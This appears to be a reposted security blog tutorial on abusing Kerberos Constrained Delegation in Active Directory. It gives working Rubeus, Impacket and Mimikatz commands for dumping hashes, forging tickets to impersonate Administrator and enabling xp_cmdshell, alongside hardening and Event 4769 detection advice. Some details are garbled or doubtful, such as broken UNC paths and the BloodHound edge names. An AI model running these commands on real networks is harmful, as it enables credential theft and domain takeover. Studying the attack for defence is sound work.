Kerberos Constrained Delegation: The Silent Domain Takeover Red Teams Exploit – Full Technical Breakdown + Video

Listen to this Post

🐢▶️ Listen🚀

Introduction:

Kerberos Constrained Delegation (KCD) is a legitimate Active Directory feature that allows services to impersonate users to access backend resources on their behalf. However, when misconfigured – especially with Protocol Transition enabled – attackers can abuse S4U2Self and S4U2Proxy extensions to request service tickets for any domain user, including Domain Admins, without ever knowing their password. This article dissects the attack chain, provides hands-on commands for enumeration and exploitation, and offers hardening guidance to defend against KCD abuse.

Learning Objectives:

• Enumerate Kerberos Constrained Delegation settings using native Windows tools and PowerView.
• Exploit misconfigured KCD with Protocol Transition to impersonate any domain user and access critical services.
• Mitigate constrained delegation risks via service account hardening and monitoring.

You Should Know:

1. Enumerating Constrained Delegation & Protocol Transition

Before exploitation, an attacker must identify accounts that have Constrained Delegation configured and, critically, whether Protocol Transition is enabled. Protocol Transition allows the service to request a ticket for any user (not just those who authenticated previously). This setting is dangerous because it removes the need for the user’s password or hash.

Step‑by‑step guide – Enumeration:

• Using PowerView (part of PowerShell Empire / BloodHound collection):

  Import PowerView module
  Import-Module .\PowerView.ps1
  
  Find all accounts with Constrained Delegation enabled
  Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
  
  Find computers with Constrained Delegation
  Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
  
  Check for Protocol Transition (indicated by TrustedToAuthForDelegation property)
  Get-DomainUser -TrustedToAuthForDelegation | Select-Object samaccountname
  

• Using built-in `adfind` (Windows) or `ldapsearch` (Linux):

  adfind -b dc=domain,dc=local -f "(&(objectCategory=user)(msDS-AllowedToDelegateTo=))" samaccountname msDS-AllowedToDelegateTo
  

• Using BloodHound: Run SharpHound and query for `Find Kerberos Constrained Delegation` – the GUI will show edges `CanRDP` or AllowedToDelegate.

2. Abusing S4U2Self + S4U2Proxy with Rubeus (Windows)

Once a vulnerable account (e.g., svc_sql) is found that has Constrained Delegation to a service like cifs/dc01.domain.local, and Protocol Transition is enabled, an attacker can impersonate a privileged user.

Step‑by‑step guide – Exploitation with Rubeus:

• Request a service ticket for Administrator to the target service:

  Rubeus.exe s4u /user:svc_sql /rc4:<NTLM_hash_of_svc_sql> /impersonateuser:Administrator /msdsspn:cifs/dc01.domain.local /ptt
  

• /user: the service account that has delegation rights.
• /rc4: NTLM hash of that account (obtained via Mimikatz or other post‑exploitation).
• /impersonateuser: any domain user you want to impersonate.
• /msdsspn: the Service Principal Name (SPN) of the target service (from msDS-AllowedToDelegateTo).
• /ptt: inject the ticket into current session (Pass‑the‑Ticket).

• If you only have a TGT or AES key:

  Rubeus.exe s4u /user:svc_sql /aes256:<aes256_key> /impersonateuser:Administrator /msdsspn:cifs/dc01.domain.local /ptt
  

• After injecting the ticket, access the target as Administrator:

  net use \dc01.domain.local\C$
  dir \dc01.domain.local\C$\Users
  

3. Cross‑Platform Exploitation using Impacket (Linux/Kali)

Impacket provides `getST.py` to request service tickets using Constrained Delegation.

Step‑by‑step guide – Impacket method:

• Obtain the hash of the delegation account (e.g., from `secretsdump.py` or a compromised host).

• Request a ticket for Administrator to the target service:

  getST.py -dc-ip 192.168.1.10 domain.local/svc_sql -hashes :<NT_hash> -spn cifs/dc01.domain.local -impersonate Administrator
  

This creates a `Administrator.ccache` file.

• Set the ticket as the current Kerberos cache:

  export KRB5CCNAME=Administrator.ccache
  

• Use the ticket to access the remote service (e.g., SMB):

  smbclient.py -k -no-pass -target-ip 192.168.1.10 domain.local/[email protected]
  

Or with `psexec.py`:

psexec.py -k -no-pass domain.local/[email protected]

1. Full Attack Chain: From Compromise to SYSTEM Access

Assume an attacker has already compromised a low‑privilege account and discovered a delegation‑enabled service account (e.g., IIS_POOL) with Protocol Transition. The goal is to get SYSTEM on the database server.

Step‑by‑step guide – Complete chain:

1. Dump credentials on the compromised IIS server (using Mimikatz):

   mimikatz.exe "sekurlsa::logonpasswords" "exit"
   

Extract NTLM hash of `IIS_POOL`.

1. Enumerate delegation targets (already done) – suppose the account is allowed to delegate to MSSQLSvc/sql01.domain.local.

2. Request a service ticket for Domain Admin to that SPN using Rubeus or Impacket.

3. Use the ticket to authenticate to SQL Server as Domain Admin:

   Using SQL Server management with Kerberos ticket
   Invoke-Sqlcmd -ServerInstance "sql01.domain.local" -Database "master" -Query "SELECT @@version"
   

4. Enable xp_cmdshell and run commands (if not already):

   EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
   EXEC xp_cmdshell 'whoami';
   

This yields SYSTEM on the SQL server.

5. Detecting & Mitigating Constrained Delegation Abuse

Defenders must identify risky delegation configurations and monitor for suspicious Kerberos ticket requests.

Step‑by‑step guide – Hardening:

• Remove Protocol Transition unless absolutely required. Constrained Delegation without Protocol Transition is safer because it only impersonates users who have already authenticated to the front‑end service.

• Use Group Managed Service Accounts (gMSA) for services that need delegation – they have automatic password rotation and limited privileges.

• Limit `msDS-AllowedToDelegateTo` to only the minimum necessary SPNs.

• Enable Kerberos event logging (Event ID 4769) – watch for `S4U2Self` or `S4U2Proxy` requests where the target user is a high‑value account (e.g., Domain Admins) and the service account is not expected to delegate to that service.

Windows monitoring command (PowerShell):

Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4769} | Where-Object {$<em>.Message -match "S4U2Proxy" -or $</em>.Message -match "S4U2Self"}

6. Simulating the Attack in a Lab Environment

Step‑by‑step guide – Lab setup and safe testing:

1. Configure a Windows Server 2022 domain controller (DC01).

2. Add a member server (APP01) and install IIS or a dummy service.

3. Create a service account (e.g., svc_deleg) and register an SPN:

   setspn -A http/app01.domain.local svc_deleg
   

4. Enable Constrained Delegation with Protocol Transition via Active Directory Users and Computers:

– Go to `svc_deleg` properties → Delegation.
– Select “Trust this user for delegation to specified services only”.
– Check “Use any authentication protocol”.
– Add `cifs/dc01.domain.local` as the target service.

1. Perform the exploitation from a Kali or Windows attack machine as described above.

2. Verify access – e.g., list `\\dc01\SYSVOL` as the impersonated Administrator.

What Undercode Says:

• Constrained Delegation with Protocol Transition is effectively a backdoor – it allows impersonation of any domain user without their secret. Red Teams prioritize this because it bypasses password spraying and hash harvesting.
• Most organisations misconfigure delegation by enabling Protocol Transition by default or leaving legacy service accounts with overly broad delegation rights. A single compromised service account can lead to full domain compromise.
• Detection is possible but often overlooked: Event ID 4769 with `Ticket Options=0x40810000` indicates S4U2Proxy. Correlating unusual impersonation (e.g., a web server requesting a ticket for a Domain Admin) is key to catching attacks early.

Prediction:

As Microsoft pushes Azure AD and cloud Kerberos (Azure AD Kerberos for hybrid identities), constrained delegation attacks will shift to cloud‑based service accounts and OAuth delegation. However, on‑prem Active Directory remains pervasive in enterprises, and Constrained Delegation abuse will stay a top‑five attack vector for at least another three years. Expect to see tooling that automates KCD exploitation across forests and integrates with cloud‑based credential hopping. Defenders who fail to audit and restrict delegation settings today will face silent privilege escalations tomorrow.

▶️ Related Video (80% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Japneet Gandhi – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky